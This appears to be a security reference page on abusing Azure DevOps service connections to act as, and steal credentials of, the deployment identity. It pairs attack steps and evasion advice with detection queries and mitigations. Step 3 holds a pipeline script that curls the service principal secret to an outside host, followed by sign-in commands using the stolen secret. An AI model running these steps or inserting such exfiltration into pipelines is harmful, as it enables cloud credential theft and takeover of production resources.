How it works
An Azure Resource Manager service connection lets Azure Pipelines deploy to Azure without a person signing in. The connection belongs to an Azure DevOps project and points at an identity in Microsoft Entra ID, either the service principal of an app registration or a managed identity. That identity holds Azure role assignments. A pipeline task that names the connection is signed in as the identity before its script runs.
Two decisions are made in two different systems:
- Azure decides what the identity may do. Its role assignments, at whatever scope they were made, apply to every pipeline that uses the connection. A connection labelled with one subscription can still carry broader inherited grants, and the label can't rule them out.
- Azure DevOps decides which pipelines may use the connection. A connection has pipeline permissions (the list of pipelines authorized to use it, or the option "Grant access permission to all pipelines"), user permissions, and optional approvals and checks.
The gap between them is the attack. Azure has no idea which person caused a pipeline run; it sees only the connection's identity. So the effective holders of the identity's roles are all the people who can influence a pipeline that Azure DevOps lets use the connection. A developer with no Azure role at all, but with the right to edit one pipeline's YAML file, deploys as Contributor or Owner.
The connection authenticates in one of two ways, and the variant decides what can be carried away:
- Service principal with a secret. The connection stores a client secret. A script in the job can obtain the secret itself. This is a long-lived secret: it works from anywhere until it expires or is rotated.
- Workload identity federation. The connection stores no secret. Azure DevOps issues a short-lived token for the job, and Microsoft Entra ID exchanges it for an access token because a federated credential on the identity trusts the issuer and subject identifier that Azure DevOps generated for the connection. A script in the job can obtain the federation token and exchange it, but the token expires quickly. See workload identity federation.
In both variants, commands run inside the job act as the identity directly, with no theft needed.
Prerequisites
- An account in the Azure DevOps organization with one of:
- the right to edit a pipeline that is authorized to use the connection, or to push to a branch that pipeline builds;
- the right to create pipelines in a project where the connection grants access to all pipelines;
- the User role on the connection, which allows using it and managing its approvals and checks.
- A connection whose identity has useful Azure role assignments.
- No approval or branch control check on the connection that stops the run, or a way to satisfy it.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
The steps below are for an authorized assessment or a lab.
1. List the service connections in a project
az extension add --name azure-devops
az devops service-endpoint list --organization https://dev.azure.com/corp-example \
--project Payments --output table
The detail of one connection shows its type and authentication scheme. In the project settings, the connection's security page shows which pipelines are authorized and whether access is open to all pipelines.
2. Run commands as the connection's identity
Add a step to a pipeline that may use the connection. The AzureCLI@2 task signs in before the script runs:
steps:
- task: AzureCLI@2
inputs:
azureSubscription: 'azure-prod'
scriptType: bash
scriptLocation: inlineScript
inlineScript: |
az account show
az role assignment list --all --assignee "$(az account show --query user.name -o tsv)" --output table
The first command shows the identity and subscription. The second shows what it holds. From here any Azure CLI command runs with the identity's roles: reading Key Vault secrets, listing storage keys, or creating role assignments if the identity is Owner.
Queue the pipeline on the changed branch:
az pipelines run --organization https://dev.azure.com/corp-example --project Payments \
--name "payments-deploy" --branch feature/update-docs
3. Take the credential out of the job
The task input addSpnToEnvironment adds the identity's details to the script's environment: servicePrincipalId, tenantId, and either servicePrincipalKey (secret-based connection) or idToken (workload identity federation).
steps:
- task: AzureCLI@2
inputs:
azureSubscription: 'azure-prod'
scriptType: bash
scriptLocation: inlineScript
addSpnToEnvironment: true
inlineScript: |
# Secret-based connection: $servicePrincipalKey holds the client secret
# Federated connection: $idToken holds the short-lived federation token
curl -s -X POST https://192.0.2.50/collect \
--data-urlencode "id=$servicePrincipalId" \
--data-urlencode "tenant=$tenantId" \
--data-urlencode "key=$servicePrincipalKey"
With the secret, the attacker signs in from any machine, with no further need for the pipeline:
az login --service-principal --username 00000000-0000-0000-0000-000000000000 \
--password "<client secret>" --tenant 00000000-0000-0000-0000-000000000000
With a federation token, the exchange has to happen before the token expires:
az login --service-principal --username 00000000-0000-0000-0000-000000000000 \
--tenant 00000000-0000-0000-0000-000000000000 --federated-token "<idToken>"
4. Keep access to the identity
An identity with enough rights can be given a credential that does not depend on the pipeline: a new client secret on the application (application credential abuse) or a second federated credential that trusts an issuer the attacker controls (federated identity credential abuse).
Impact
The attacker gets the Azure access of the deployment identity. These identities are routinely overprivileged: Contributor on a whole subscription is common, and Owner appears where pipelines assign roles. That is control of production resources from a developer-level account, across the boundary between the code platform and the cloud.
With a secret-based connection, the stolen client secret keeps working after the pipeline change is reverted and after the attacker loses access to Azure DevOps. It is a non-human identity credential with no MFA in front of it.
OPSEC and artifacts
- Staying inside a normal-looking run. Commands that run in the job come from the build agent, at the times and addresses the identity always uses. In Azure they are indistinguishable from a deployment by source alone. What remains is the pipeline run itself (who queued it, which branch and commit, the step log) and the operations in the Azure Activity Log under the identity's name.
- Using a short-lived branch. Operators change the YAML on a feature branch, run the pipeline, and delete the branch. The run record keeps the commit ID and the expanded pipeline, and the repository keeps the commit until it is garbage collected. A branch control check on the connection blocks runs from unapproved branches.
- Not printing the secret. Azure Pipelines makes an effort to mask secrets in log output but never masks substrings, so operators send the value over the network or transform it before writing it. The outbound connection from the agent is the trace, visible only where agent network traffic is monitored (self-hosted agents).
- Using the stolen secret elsewhere. A sign-in with the client secret from the attacker's machine writes a service principal sign-in record with a new IP address. For a federated connection, the exchange writes a sign-in as well; a managed identity behind the connection appears in the managed identity sign-in log, an application in the service principal sign-in log.
- Azure DevOps records, if auditing is on. The audit log has events for connection use and change, for example
Library.ServiceConnectionExecuted,Library.ServiceConnectionModified,Pipelines.ResourceAuthorizedForPipelineandPipelines.PipelineModified, and for check changes (CheckConfiguration.Disabled,CheckConfiguration.Deleted). Auditing is turned off by default for an organization and events are kept for 90 days unless they are streamed elsewhere. - Persistence leaves directory records. A new secret on the application or a new federated credential is written to the Microsoft Entra audit log or the Azure Activity Log.
Detection
No single log shows this attack, because the decision and the effect live in different systems.
- Azure DevOps side. Turn auditing on and stream it. Alert on a pipeline being authorized for a production connection, on a connection being opened to all pipelines, on checks being disabled or deleted, and on runs of a production-connected pipeline from a branch other than the protected one.
- Sign-ins by the connection's identity from outside the build agents. For an application-backed connection, baseline
IPAddressinAADServicePrincipalSignInLogsperServicePrincipalId. A sign-in from an address that is not a build agent means the credential left the pipeline. The leaked service principal credentials rules cover Microsoft's own risk signal for exposed secrets. - Actions a deployment identity does not normally take. Role assignments (privileged Azure role assignment, record roleAssignments/write), key listing and secret reads by the identity outside deployment windows.
- New credentials on the identity. Service principal credential added (audit entry Add service principal credentials), federated credential added to an application and federated credential added to a managed identity (record federatedIdentityCredentials/write).
// Sign-ins by a deployment service principal, by address and credential type
AADServicePrincipalSignInLogs
| where ServicePrincipalId == "00000000-0000-0000-0000-000000000000"
| summarize SignIns = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)
by IPAddress, ClientCredentialType, ResourceDisplayName
| order by FirstSeen desc
A completed pipeline task does not prove an Azure outcome, and an Azure operation by the identity does not name the person. Join the pipeline run time, the sign-in and the Activity Log operation before attributing a change.
Mitigation
- Give the connection's identity the narrowest scope that deploys. A resource group, not a subscription; Contributor at most, and no
Microsoft.Authorization/*unless the pipeline must assign roles. One connection per environment, so that a test pipeline can't reach production. - Authorize pipelines one by one. Do not select "Grant access permission to all pipelines". Microsoft's documentation says the option is not recommended.
- Add approvals and checks to production connections. An approval puts a person between a changed pipeline and the identity. A branch control check allows the connection to be used only from protected branches, which ties its use to code review.
- Protect the pipeline definition. Require pull request review on the branches that authorized pipelines build, including changes to the YAML file, and limit who can edit pipelines and who holds the User and Administrator roles on connections.
- Move to workload identity federation. It removes the stored secret, so there is nothing durable to steal. Review the federated credential's issuer, subject and audience after renames and migrations, and convert connections that still use the deprecated Azure DevOps issuer (
https://vstoken.dev.azure.com) to the Microsoft Entra issuer. - Rotate and remove old secrets. For connections that still use a secret, rotate it, and delete secrets on the application that no connection uses.
- Turn on Azure DevOps auditing and stream it to the same place as the Entra and Azure logs, and send service principal and managed identity sign-in logs there too.
- Apply Conditional Access for workload identities to application-backed connections where licensed, to restrict sign-ins to known addresses. Managed identities can't be targeted by these policies.
Detection rules for this attack
Log events to collect
FAQ
What is an Azure DevOps service connection?
It is a stored, named link from an Azure DevOps project to an outside service. An Azure Resource Manager connection holds what a pipeline needs to sign in to Azure as a service principal or managed identity: a client secret, or a workload identity federation trust. Pipeline tasks reference the connection by name and never see how it was set up.
Does workload identity federation stop this attack?
It removes the long-lived secret, which is a real gain: there is nothing to copy that works next month. It does not remove the access. A pipeline that may use the connection still gets a token as the same identity with the same roles, and can use it for as long as the job runs.
Who can abuse a service connection?
Anyone who controls what an authorized pipeline runs. That includes people who can edit the pipeline definition, people who can push to a branch that the pipeline builds, and, when the connection grants access to all pipelines, anyone who can create a pipeline in the project.
Where do you look for evidence of service connection abuse?
In three places that are owned by different teams: the Azure DevOps audit log and pipeline run history for who changed and ran what, Microsoft Entra sign-in logs for the service principal or managed identity behind the connection, and the Azure Activity Log and resource logs for what the identity did.
References
- Valid Accounts: Cloud Accounts, T1078.004 (MITRE ATT&CK)
- Steal Application Access Token, T1528 (MITRE ATT&CK)
- Service connections (Azure Pipelines documentation)
- AzureCLI@2 task reference (Azure Pipelines documentation)
- Connect to Azure with workload identity federation (Azure Pipelines documentation)
- Secure access to protected resources in pipelines (Azure Pipelines documentation)
- Azure DevOps auditing events list
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.